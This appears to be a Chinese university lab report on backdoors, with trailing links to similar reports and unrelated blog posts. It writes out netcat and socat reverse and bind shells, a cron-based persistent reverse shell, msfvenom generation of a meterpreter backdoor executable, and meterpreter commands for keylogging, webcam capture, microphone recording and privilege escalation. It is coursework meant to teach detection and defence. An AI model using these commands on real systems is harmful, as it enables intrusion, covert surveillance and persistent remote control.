2018-2019-2 网络对抗技术 20165308 Exp2 后门原理与实践

1.实验内容 (3.5分)

(1)使用netcat获取主机操作Shell,cron启动 (0.5分)
(2)使用socat获取主机操作Shell, 任务计划启动 (0.5分)
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)
(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。

2.报告内容:

(问题是为了让你思考,并没有标准答案。请勿抄袭,抄袭0分!)
2.1.基础问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
(2)例举你知道的后门如何启动起来(win及linux)的方式?
(3)Meterpreter有哪些给你映像深刻的功能?
(4)如何发现自己有系统有没有被安装后门?
2.2.实验总结与体会
2.3.实践过程记录

3.报告评分 1 分

3.1 报告整体观感 0.5分
3.1.1 报告格式范围,版面整洁 加0.5。
3.1.2 报告排版混乱,加0分。
3.2 文字表述 0.5 分
3.2.1报告文字内容全面,表述清晰准确 加0.5分。
3.2.2报告表述不清或文字有明显抄袭可能 加0分

4. 实践验收 -1到+1分

根据实验内容现场要求完成操作约两项操作,每项 0.5分。
两项均完成且原理清楚 +1
完成一项且原理清楚 +0.5
两项均未完成 -1

实践过程记录

1、实验前的连接和准备工作

Windows获得Linux Shell

在Windows下使用ipconfig查看本机IP



使用ncat.exe程序打开监听 ncat.exe -l -p 5308



在kali中反弹连接Windows,netcat 192.168.1.235 5308 -e /bin/sh,使用-e选项执行shell程序



Windows成功获得kali的shell

Linux获得Windows Shell

在kali中使用ifconfig查看IP



打开监听nc -l -p 5308



在Windows中反弹连接kali,ncat.exe -e cmd.exe 192.168.1.155 5308



kali成功获得Windows的命令提示

使用nc传输数据

Windows下监听5308端口,ncat.exe -l 5308

kali反弹连接到Windows的5308端口,nc 192.168.1.235 5308

连接建立成功,双方可以相互传输数据

使用nc传输文件

Windows下监听5308端口,并把收到的数据保存到file1中,ncat.exe -l 5308 > file1

kali反弹连接到Windows的5308端口,nc 192.168.1.235 5308 < file1.in

连接建立成功,Win可以收到kali发来的文件。

2、开始实验任务

任务一:使用netcat获取主机操作Shell,cron启动

Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。详细说明可以"man cron"。

在Windows系统下,监听5308端口。

在Kali环境下,用 crontab -e 指令编辑一条定时任务。

在最后一行添加31 * * * * /bin/netcat 192.168.1.235 5308 -e /bin/sh,意思是在每个小时的第31分钟反向连接Windows主机的5308端口。(因为实验做到这一步的时候是25分,所以设置了个相对近一点的时间,这个完全看自己怎么设置。)



但时间到达31分钟时如下图所示:



实验一结束。

任务二:使用socat获取主机操作Shell, 任务计划启动

socat:

- socat是ncat的增强版,它使用的格式是socat [options] <address> <address>,其中两个address是必选项,而options是可选项。
- socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
搜索打开“计算机管理”
在“任务计划程序”中“创建任务”
填写任务名->新建一个触发器
在操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5329 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5308,同时把cmd.exe的stderr重定向到stdout上:
创建完成之后,按Windows+L快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行





此时,在Kali环境下输入指令socat - tcp:192.168.1.235:5308,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5308端口,此时可以发现已经成功获得了一个cmd shell



任务二结束。

任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

在Kali上执行指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.155 LPORT=5308 -f exe > 20165308_backdoor.exe,可见已经生成了后门程序“20165308_backdoor.exe”



在Windows下执行ncat.exe -l 5308 > 20165308_backdoor.exe,这样被控主机就进入了接收文件模式。



在Linux中执行nc 192.168.1.235 5308 < 20165308_backdoor.exe,注意这里的IP为被控主机IP,即WindowsIP



传送接收文件成功,如下图所示



在Kali上使用msfconsole指令进入msf控制台。



输入 use exploit/multi/handler 使用监听模块,设置 payload

set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload

set LHOST 192.168.1.155,这里用的是LinuxIP,和生成后门程序时指定的IP相同

set LPORT 5308,同样要使用相同的端口



运行Windows下的后门程序



此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell



任务三结束。

任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

使用record_mic指令可以截获一段音频。



使用webcam_snap指令可以使用摄像头进行拍照



使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录



使用screenshot指令可以进行截屏,效果如下:



先使用getuid指令查看当前用户。

使用getsystem指令进行提权。



任务四完成。

基础问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?

通过漏洞,或者是浏览网页时,下载软件时,绑定使系统被动下载了相关程序。

(2)例举你知道的后门如何启动起来(win及linux)的方式?

Win:设置为开机自启动、修改注册表项、用户执行带有后门的可执行文件。

Linux:通过crontab指令,计划任务启动。

(3)Meterpreter有哪些给你映像深刻的功能?

入侵电脑后可以获取个人信息,拍照等监视当前活动,知道长相信息之后就很容易可以仿出一个人的情况。

(4)如何发现自己有系统有没有被安装后门?

防火墙,杀毒软件这些都是要有的,其次要看当前任务管理器中是否有可疑程序在后台运行,最后再看任务计划程序、开机自启动项、注册表项中是否出现了可疑程序。

实验总结与体会

通过这次实验我发现要想监控到别人电脑还是相对较容易的,我们需要加强防范意识,要告诉身边的人注意浏览网页和软件下载,安全上网。

实验遇到的问题及解决方法

最开始各种问题,连通后发现任何操作都无效,后来才想起是中途电脑重启了一下,防火墙全部开启,重新关闭防火墙就好了。

2018-2019-2 网络对抗技术 20165308 Exp2 后门原理与实践的更多相关文章

  1. 2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践 实验内容(概要): (1)使用netcat获取主机Shell,cron启动 首先两个电脑(虚拟机)都得有netcat, ...

  2. 2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践 1. 后门原理与实践实验说明及预备知识 一.实验说明 任务一:使用netcat获取主机操作Shell,cron启动 ( ...

  3. 2018-2019-2 20165237《网络对抗技术》Exp2 后门原理与实践

    2018-2019-2 20165237<网络对抗技术>Exp2 后门原理与实践 一.实践目标 使用netcat获取主机操作Shell,cron启动 使用socat获取主机操作Shell, ...

  4. 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践 - 实验任务 (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用socat获取主 ...

  5. 2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践 一.实验要求 (3.5分) (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用soc ...

  6. 2018-2019-2 20165235《网络对抗技术》Exp2 后门原理与实践

    2018-2019-2 20165235<网络对抗技术>Exp2 后门原理与实践 实验内容 1.使用netcat获取主机操作Shell,cron启动 2.使用socat获取主机操作Shel ...

  7. 2018-2019-2 网络对抗技术 20165311 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165311 Exp2 后门原理与实践 后门的基本概念 常用后门工具 netcat Win获得Linux Shell Linux获得Win Shell Met ...

  8. 2018-2019-2 网络对抗技术 20165317 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp2 后门原理与实践 基础问题回答 例举你能想到的一个后门进入到你系统中的可能方式? 下载免费应用的时候会有绑定木马. 浏览某些网页时会有内 ...

  9. 2018-2019-2 网络对抗技术 20165336 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165336 Exp2 后门原理与实践 1.基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 下载自己不熟悉的软件时含有病毒. 网络钓鱼, ...

随机推荐

  1. wifi探针的使用说明.

    我使用的是四博智联提供的WIFI探针 DT-06产品 点击打开链接 1. 数据读取 可以直接通过串口即可读取数据,串口波特率设置为 115200,其它选项默认. 如果需要PC机测试,请使用杜邦线转接到 ...

  2. 1—ARM中的寄存器

    ARM共有37个寄存器.其中31个通用寄存器和6个状态寄存器. 一般通用寄存器R0-R12 R0-7为未分组寄存器:R8-12为分组寄存器. 未分组寄存器:在任何模式下,指向的都是同一个32位的物理寄 ...

  3. Liunx find/locate/whereis/which 总结

    一.locate 命令 是一个文件查找命令,命令所属软件包 mlocate 不同于 find 命令的是,find命令在整块磁盘中搜索:而 locate命令 在数据路库文件中搜索,当天创建的文件第二天才 ...

  4. Windows下网页连接VNC操作手册

    所需软件:tigervnc noVnc(https://github.com/novnc/noVNC) websockify(https://github.com/novnc/websockify) ...

  5. 日志管理中获取浏览器、操作系统、IP等信息。。。

    今天在书写日志管理的模块的时候,遇到了一些问题,首先是日志的添加,就是在登录的时候记下他登录的名字以及登录的时间和登录的一些信息给存入到日志表中,这一下给蒙了,于是就查找资源,在这里我就简单地总结一下 ...

  6. java变量的自动提升与强制转换

    所有的byte型.short型和char的值将被提升到int型 一个字节可以提升为4个字节 4个字节不可以降为一个字节 强制转换4个字节转换为一个字节 [丢失精度] byte b = 3; b = ( ...

  7. 《Java编程思想》读书笔记-赋值操作符

    在最底层,Java中的数据是通过使用操作符来操作的.接下来我们逐一认识一些操作符. 怎么运用操作符 操作符接受一个或多个参数,并生成一个新值. 基本操作符 赋值操作符 符号:= 作用:取右边的值,把它 ...

  8. 复习string和数组

    两种实例化方式的区别 1)直接赋值(String str = "hello"):只开辟一块堆内存空间,并且会自动入池,不会产生垃圾. 2)构造方法(String str=  new ...

  9. python 各种开源库

    测试开发 来源:https://www.jianshu.com/p/ea6f7fb69501 Web UI测试自动化 splinter - web UI测试工具,基于selnium封装. 链接 sel ...

  10. java语言基础--方法的执行图解

    1.调用m1方法(压栈) 2.m1调用m2方法(压栈) 3.m2调用m3方法(压栈) 4.运行m3(弹栈) 5.运行m2(弹栈) 6.运行m1(弹栈)